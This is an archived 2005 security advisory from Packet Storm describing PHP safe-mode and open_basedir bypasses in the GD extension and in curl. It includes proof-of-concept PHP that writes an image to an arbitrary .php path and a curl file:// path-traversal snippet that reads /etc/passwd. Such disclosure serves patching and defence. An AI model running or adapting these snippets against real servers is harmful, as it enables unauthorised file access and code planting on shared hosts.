what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

php-gd-safe.txt

php-gd-safe.txt
Posted Oct 24, 2005
Authored by slythers

A safedir restriction bypass has been identified within the GD PHP extension.

tags | advisory, php
SHA-256 | 04877c12726507f2e9d95fec9a729d814580a93f4a4c8c1aae7edd854d6e6ebe

php-gd-safe.txt

Change Mirror Download
------=_Part_12857_14117620.1129582526565
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

There is a vulnerability (Safedir Restriction Bypass) identified within the
GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()

in /ext/gd/gd.c line 1647

Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=3D1.312.2.1#1786
POC:

with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im =3D imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>


curl openbasedir and safemode bypass.
POC:

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch =3D curl_init("
file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../et=
c/passwd
");

$file=3Dcurl_exec($ch);

echo $file;

?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.

This is fixed in the cvs.
slythers@gmail.com
greets: david coallier <davidc@php.net>

------=_Part_12857_14117620.1129582526565
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<div>There is a vulnerability (Safedir Restriction Bypass)&nbsp;identified =
within the GD extension affecting<br>the following functions:<br>- imagegif=
()<br>- imagepng()<br>- imagejpeg()<br><br>in /ext/gd/gd.c &nbsp;line 1647<=
br><br>
Which is now fixed in the cvs<br><span class=3D"q"><a onclick=3D"return top=
.js.OpenExtLink(window,event,this)" href=3D"http://cvs.php.net/co.php/php-s=
rc/ext/gd/gd.c?r=3D1.312.2.1#1786" target=3D"_blank">http://cvs.php.net/co.=
php/php-src/ext/gd/gd.c?r=3D1.312.2.1#1786
</a><br></span><span class=3D"q">POC:</span></div>
<div><span class=3D"q"><br></span><span></span>with an image like <a onclic=
k=3D"return top.js.OpenExtLink(window,event,this)" href=3D"http://81.57.125=
.106/~slythers/file.gif" target=3D"_blank">http://81.57.125.106/~slythers/f=
ile.gif
</a><br><?php<br><span class=3D"q">&nbsp; &nbsp; $im =3D imagecreatefrom=
gif("file.gif");<br>&nbsp; &nbsp; imagegif($im, '/var/www/f34r.fr=
/c/f/elbossoso/.i.need.money.php');<br>?><br><br><br></span>curl openbas=
edir and safemode bypass.
<br><span class=3D"q">POC:</span></div><span class=3D"q">
<div><br></div></span><span>
<p><?php</p>
<p>mkdir("./".$_SERVER["SCRIPT_NAME"]."?");<b=
r>$ch =3D curl_init("<a href=3D"file://".$_SERVER["SCRIPT_FI=
LENAME"]."?/../../../../../../../../../../../etc/passwd">file://&=
quot;.$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../..=
/../../../etc/passwd
</a>");</p>
<p>$file=3Dcurl_exec($ch);</p>
<p>echo $file;</p>
<p>?></p></span>
<div>As you notice, we can bypass the <span class=3D"st0" id=3D"st" name=3D=
"st">safedir</span> which leads to access to any<br>files on any shared ser=
vers.<br><br>This is fixed in the cvs.<br>&nbsp;</div>
<div><a href=3D"mailto:slythers@gmail.com">slythers@gmail.com</a></div>
<div>greets: david coallier <<a href=3D"mailto:davidc@php.net">davidc@ph=
p.net</a>></div>

------=_Part_12857_14117620.1129582526565--
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close